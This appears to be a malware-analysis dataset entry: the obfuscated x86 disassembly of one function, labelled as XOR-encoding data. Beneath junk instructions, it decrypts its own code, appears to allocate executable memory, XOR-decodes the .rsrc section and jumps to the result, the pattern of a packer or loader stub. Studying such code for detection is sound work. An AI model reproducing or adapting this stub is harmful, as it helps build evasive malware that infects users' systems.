Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4f9508f4
mov esi, ecx
add ecx, esi
popal
sub esi, 0xe2837339
add ecx, 0x59cb2b41
sub esi, ecx
mov esi, 0
mov eax, ecx
inc ebx
mov edi, ebx
mov edx, eax
mov ebx, 0x27a2a213
add edi, edi
mov ecx, edx
sub ebx, edi
not ebx
inc esi
add edi, ebx
mov edi, 0x63792ae4
cmp esi, 0x100d5fe
jne 0xa789ca
sub ebx, edi
sub ebx, edi
add ebx, 0x10d7a36d
mov ecx, esi
sub ecx, esi
not ecx
mov ebx, 0xa78796
mov edi, ecx
sub esi, ecx
mov edx, 0xa7898a
sub ecx, 0x6ec6bd9b
or ecx, esi
mov eax, dword [ebx]
or esi, edi
add ecx, 0xa1da11c6
and eax, 0xff
sub ecx, 0xe1308859
and edi, edi
xor dword [edx], eax
sub edi, ecx
add edi, ecx
add edx, 1
and ecx, esi
add ecx, edi
inc ebx
not ecx
sub ecx, esi
add edi, ecx
cmp edx, entry0
jl 0xa78a18
dec esi
or edi, esi
add esi, esi
sub ecx, 0x5000e717
add ecx, 1
mov edx, ecx
add esi, edi
mov ebx, 0xa7898e
add ecx, edx
and esi, edi
add edx, 0x5820a940
mov ebx, dword [ebx]
add edi, 0xa7e8c57d
or esi, esi
not edx
mov ebx, dword [ebx]
mov edx, 0x238dfa47
and ecx, edx
sub edi, 0x5d0a8a57
push ebx
add edi, 0x13822b1f
and edx, ecx
add ecx, 0x31b0b900
mov ebx, 0xa7898a
add edx, esi
inc esi
mov ebx, dword [ebx]
dec ecx
add ecx, edi
mov ebx, dword [ebx]
dec edx
add esi, 0x6db428c2
dec edi
push 0xa78992
dec ecx
add edi, esi
call ebx
mov esi, edx
not edi
pop ebx
sub ecx, 0x61ec3d59
inc ecx
sub esp, 4
mov dword [esp], 0xa7899f
add ecx, 1
or edi, edi
add edx, 0x2b21b8f2
push eax
sub edi, 0x50cd6ca9
and ecx, esi
call ebx
add edi, ecx
and edx, edx
push 0x40
not ecx
add ecx, 0x67b76ea3
sub esi, edx
push 0x3000
dec esi
sub ecx, edi
push 0x20000c48
mov edi, edx
mov ecx, 0xd10e2f64
not ecx
push 0
not ecx
mov ecx, 0xb86f255e
add edi, edi
call eax
inc esi
sub edx, ecx
or ecx, ecx
add eax, 0x20000b93
or edx, edx
or edi, edi
add ecx, esi
mov ebx, 0xd8a2cf82
and ecx, esi
dec esi
mov dword [eax], ebx
inc esi
add ecx, edx
mov ebx, dword [eax]
add esi, esi
mov edx, 0x37e92a9
and ecx, ecx
cmp ebx, 0xd8a2cf82
je 0xa78b62
mov ecx, 0
mov edx, dword [ecx]
mov esi, edx
and edi, edx
mov edi, ecx
add ecx, esi
or edx, edi
sub ecx, 1
not ecx
dec ecx
mov eax, section..rsrc
mov ecx, 0xcf9d8537
sub esi, 0xc1a7190
mov ebx, 0xa78795
or ecx, esi
and ecx, esi
add esi, 0x4c40976e
mov edx, 0
sub ecx, esi
sub esi, 0xa1db4f4
mov edi, 0xa78796
inc esi
add esi, 0x2b0f1426
lea edi, [edx + edi]
mov esi, 0x9f7cdbc3
not ecx
add ecx, 0x318dd67c
mov edi, dword [edi]
inc esi
dec ecx
and edi, 0xff
sub ecx, 1
dec esi
sub ecx, 0xd023cda
inc edx
sub esi, ecx
sub esi, 0xe8b9f66
cmp edx, 0x1f4
jne 0xa78bea
mov edx, 0
sub ecx, esi
and ecx, esi
add esi, 0x3942fa07
add ecx, 0x5f7fca80
and ecx, esi
xor dword [eax], edi
and esi, ecx
add esi, 0x1800ee07
add eax, 2
add ecx, 0xc59ec4e4
dec ecx
cmp eax, ebx
jl 0xa78ba1
not ecx
sub ecx, esi
mov esi, ecx
mov esi, ecx
add esi, ecx
mov esi, section..rsrc
mov ecx, 0x13210558
not ecx
add ecx, 0xd6f816cc
mov edi, section..rsrc
mov eax, 0x5bfc69d9
not eax
mov ebx, 0xa78795
and ecx, eax
add ecx, eax
mov edx, 0
add ecx, 0xff8f1fa5
sub ecx, eax
mov ecx, 0xc792b6a9
mov dl, byte [edi]
add eax, 0xefd68d6f
add ecx, 0xbe10f143
mov byte [esi], dl
dec eax
sub eax, 0xb6fd56d3
mov ecx, 0x692cffde
inc esi
add eax, ecx
add ecx, 0x71b8575
add edi, 2
sub ecx, 0x7ac62b2f
add eax, 1
cmp edi, ebx
jle 0xa78c5e
or ecx, eax
add eax, ecx
dec ecx
mov ecx, esi
add ecx, esi
add ecx, esi
push 0x8dc6a0
mov ecx, 0xd81b5260
and esi, ecx
mov ecx, esi
ret